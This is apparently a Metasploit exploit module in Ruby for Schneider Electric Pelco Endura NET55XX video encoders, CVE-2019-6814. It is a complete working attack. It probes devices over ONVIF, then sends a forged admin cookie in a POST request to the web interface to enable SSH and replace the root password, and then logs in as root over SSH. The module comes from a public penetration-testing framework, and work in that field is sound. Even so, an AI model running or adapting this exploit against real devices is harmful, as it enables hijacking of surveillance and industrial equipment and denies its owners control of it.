Path: blob/master/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::Report11include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Schneider Electric Pelco Endura NET55XX Encoder',18'Description' => %q{19This module exploits inadequate access controls within the webUI to enable20the SSH service and change the root password. This module has been tested successfully21on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.22},23'License' => MSF_LICENSE,24'Author' => [25'Lucas Dinucci <[email protected]>',26'Vitor Esperança <[email protected]>'27],28'References' => [29['CVE', '2019-6814'],30['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']31],32'Payload' => {33'Compat' => {34'PayloadType' => 'cmd_interact',35'ConnectionType' => 'find'36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [ [ 'Universal', {} ] ],41'Privileged' => true,42'DisclosureDate' => '2019-01-25',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),55OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])56]57)5859register_advanced_options(60[61OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),62OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),63OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])64]65)66end6768def new_password69datastore['NEW_PASSWORD']70end7172def check73xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\74'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\75'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\76'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\77'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\78'<a:ReplyTo>'\79'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\80'</a:ReplyTo>'\81'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\82'</Header>'\83'<Body>'\84'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\85'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\86'</Probe>'\87'</Body>'\88'</Envelope><?xml version="1.0" encoding="UTF-8"?>'8990connect_udp(true, { 'RPORT' => datastore['UDP_PORT'] })91udp_sock.put(xmlPayload)92resp = []93resp << udp_sock.get(datastore['TIMEOUT'])94xmlResponse = resp.join(',')95disconnect_udp96if xmlResponse.include?('NET5501') || xmlResponse.include?('NET5501-I') || xmlResponse.include?('NET5501-XT') || xmlResponse.include?('NET5504') || xmlResponse.include?('NET5500') || xmlResponse.include?('NET5516') || xmlResponse.include?('NET5508')97return Exploit::CheckCode::Appears98end99100CheckCode::Safe101end102103def change_password104print_status("#{peer} - Attempt to change the root password...")105post = { enable: true, passwd: new_password, userid: 'root' }.to_json106107login = send_request_cgi({108'method' => 'POST',109'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),110'data' => post,111'headers' =>112{113'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',114'Content-Type' => 'application/json;charset=utf-8'115}116}, timeout = datastore['TIMEOUT'])117118fail_with(Failure::UnexpectedReply, 'Failed to change root password') unless login && login.code == 200119print_good("#{rhost}:80 - Successfully changed the root password...")120print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")121end122123def do_login124change_password125print_status("#{rhost}:22 - Attempt to start a SSH connection...")126opts = ssh_client_defaults.merge({127auth_methods: ['password', 'keyboard-interactive'],128port: 22,129password: new_password130})131opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']132begin133ssh = nil134::Timeout.timeout(datastore['SSH_TIMEOUT']) do135ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)136end137rescue Rex::ConnectionError138rescue Net::SSH::Disconnect, ::EOFError139print_error "#{rhost}:22 SSH - Disconnected during negotiation"140rescue ::Timeout::Error141print_error "#{rhost}:22 SSH - Timed out during negotiation"142rescue Net::SSH::AuthenticationFailed143print_error "#{rhost}:22 SSH - Failed authentication"144rescue Net::SSH::Exception => e145print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"146end147if ssh148conn = Net::SSH::CommandStream.new(ssh, logger: self)149return conn150end151end152153def exploit154conn = do_login155if conn156print_good("#{rhost}:22 - Session established ")157handler(conn.lsock)158end159end160end161162163